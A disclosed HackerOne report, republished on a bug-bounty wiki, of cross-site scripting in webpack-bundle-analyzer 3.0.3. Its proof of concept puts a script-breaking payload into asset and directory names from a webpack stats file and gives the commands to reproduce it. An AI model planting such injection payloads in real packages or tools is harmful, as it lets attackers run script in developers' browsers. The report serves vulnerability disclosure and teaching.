Skip to content
XSS Disclosed report Beginner

[webpack-bundle-analyzer] Cross-site Scripting

webpack-bundle-analyzer does not sanitise file and directory names from webpack stats, allowing an attacker who controls a third-party module to inject JavaScript that executes when the analyzer report is opened.

ermilov Follow

Originally disclosed on HackerOne

  • Triaged in 2 months
  • Fixed in 12 months
  • Disclosed after 12 months

I would like to report Cross-site Scripting in webpack-bundle-analyzer. It allows injecting and executing arbitray JavaScript code.

Module

module name: webpack-bundle-analyzer version: 3.0.3 npm page: https://www.npmjs.com/package/webpack-bundle-analyzer

Module Description

Visualize size of webpack output files with an interactive zoomable treemap.

Module Stats

163083 downloads in the last day 952718 downloads in the last week 4033912 downloads in the last month

Vulnerability

Vulnerability Description

webpack-bundle-analyzer does not sanitize names of files and directories which may be used to inject malicious Javascript.

Steps To Reproduce:

Simple POC:

  • Install webpack-bundle-analyzer
npm i webpack-bundle-analyzer
  • create an example of webpack-stats json file

poc.json

JSON
{
  "outputPath": "./dist",
  "assets": [
    {
      "name": "</script><script>alert(1)</script>main.js",
      "chunks": [0],
      "chunkNames": ["main"]
    }
  ]
}
  • run analyzer
node ./node_modules/webpack-bundle-analyzer/lib/bin/analyzer.js poc.json

default output should be:

Webpack Bundle Analyzer is started at http://127.0.0.1:8888
Use Ctrl+C to close it
  • open the analyzer's url
http://localhost:8888
  • payload executes immidiately

More In-depth example:

Main task of the application is to visualize structure of output files compiled by webpack by parsing JSON file containing statistics about modules (https://webpack.js.org/api/stats/) generated by webpack. Projects usually include third-party modules, so by having access to thir-party module content (file names and directory structure) it is possible to manipulate the compilation statistics in compilation-stats.json file and as long as certain data from this file is passed to the page without sanitization https://github.com/webpack-contrib/webpack-bundle-analyzer/blob/master/views/viewer.ejs#L14 it is possible to inject payload

For example

this file structure:

node_modules/some-module-that-we-control/
├── <
│   └── script><script>alert(1)<
│       └── script>module-name-that-is-included-in-index.js
├── index.js
└── package.json

will result in something like this:

JavaScript
<script>
    window.chartData = [
{"some-data-here":
"and here</script><script>alert(1)</script>module-name-that-is-included-in-index.js",
"more-data":[]}
];
    window.defaultSizes = "parsed";
    window.enableWebSocket = true;
</script>

I created project on Github for easier explanation:

  • Download repo
git clone https://github.com/inkz/poc-webpack-bundle-analyzer.git
cd poc-webpack-bundle-analyzer/
  • Install dependencies
npm install
  • Run webpack
npm run build

Output should be:

Webpack Bundle Analyzer is started at http://127.0.0.1:8888
Use Ctrl+C to close it
  • open the url
http://localhost:8888
  • payload executes

Refer to directory structure here https://github.com/inkz/poc-webpack-bundle-analyzer/tree/master/external/node_modules/poc-module and web page source code for better understanding

Patch

Supporting Material/References:

  • OS: Linux Mint current
  • Node.js: 8.11.1
  • NPM: 6.4.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

An attacker that is able to control third party module can execute malicious JavaScript.

The original report as published on HackerOne, by ermilov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker who can control a third-party module can execute malicious JavaScript when the analyzer report is viewed.

What the attacker needed

Control over a third-party module; victim runs the analyzer on the build

How it was found

  1. Install webpack-bundle-analyzer.
  2. Create a webpack stats JSON file with a malicious file name.
  3. Run the analyzer on the JSON file.
  4. Open the analyzer URL in a browser.
  5. The payload executes immediately.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A tool that shows the size of files in a webpack build takes file names from the build and puts them into a web page without cleaning them. If an attacker can add a file with a name that contains HTML code, that code runs as JavaScript when someone opens the report. This is called cross-site scripting (XSS).

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ermilov

View all

8 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.